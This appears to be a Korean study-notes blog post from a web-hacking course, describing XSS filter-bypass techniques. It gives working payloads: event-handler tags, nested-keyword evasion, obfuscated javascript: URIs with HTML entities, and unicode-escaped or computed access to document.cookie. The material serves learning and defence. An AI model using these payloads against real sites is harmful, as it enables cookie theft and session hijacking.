본문 바로가기

웹해킹

XSS Filtering Bypass

<script> 태그 이외에도 자바스크립트 코드를 실행할 수 있는 HTML 태그가 많이 존재한다.

대표적으로 on으로 시작하는 이벤트 핸들러 속성들이 있다.

 

1. onload

태그가 요청하는 데이터를 로그한 후에 실행된다.

로드에 실패하면 실행되지 않는다.

<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">

이런 식으로 작성된다.

 

2. onerror

태그가 요청하는 데이터를 로드하는데 실패할 때 실행된다.

로드에 성공하면 실행되지 않는다.

<img src="about:invalid" onerror="alert(document.domain)">

이렇게 작성된다.

 

3. onfocus

input 태그에 커서를 클릭하여 포커스가 되면 실행된다.

<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>

이렇게 실행된다.

 

 

<필터링 우회>

XSS 필터링을 할 때 문자열을 치환하는 방식으로 필터링하는 경우에는 키워드를 조작해서

필터링을 우회할 수 있다.

예를 들어, script라는 문자열을 ""로 치환해서 필터링하는 경우, scrscriptipt 이런식으로 작성하면 우회할 수 있다.

이를 막기 위해서 최종적으로 특정 키워드가 존재하지 않을 때까지 지속적으로 필터링하는 방식도 존재한다.

 

<활성 하이퍼링크>

javascript: 는 url을 로드할 때 자바스크립트 코드를 실행할 수 있게 해준다.

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

이런 식으로 a, iframe 태그의 속성으로 많이 사용된다.

javacsript: 가 필터링되는 경우, 우회하기 위해 특수문자를 넣는다.

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>

HTML Entity Encoding을 사용해 우회할 수도 있다.

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>

 

 

<Unicode escape sequence>

"\uAC00"=="가" 

이런 식으로 문자열의 유니코드 문자를 코드로 나타내서 표기하는 기법이다.

이를 이용해 필터링 우회를 할 수 있다.

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)

이런 식으로 사용된다.

 

<Computed member access>

속성 이름을 동적으로 계산한다.

document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

이런 식으로 우회가 가능하다.

 

innerHTML을 이용해서 html 코드를 추가시킬 수 있다.

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";

 

'웹해킹' 카테고리의 다른 글

드림핵 XSS Filtering Bypass Advanced 롸업  (0) 2023.11.21
드림핵 XSS Filtering Bypass 롸업  (0) 2023.11.21
드림핵 blind-command 롸업  (0) 2023.11.05
드림핵 Carve Party 롸업  (0) 2023.11.05
드림핵 web-ssrf 롸업  (0) 2023.11.05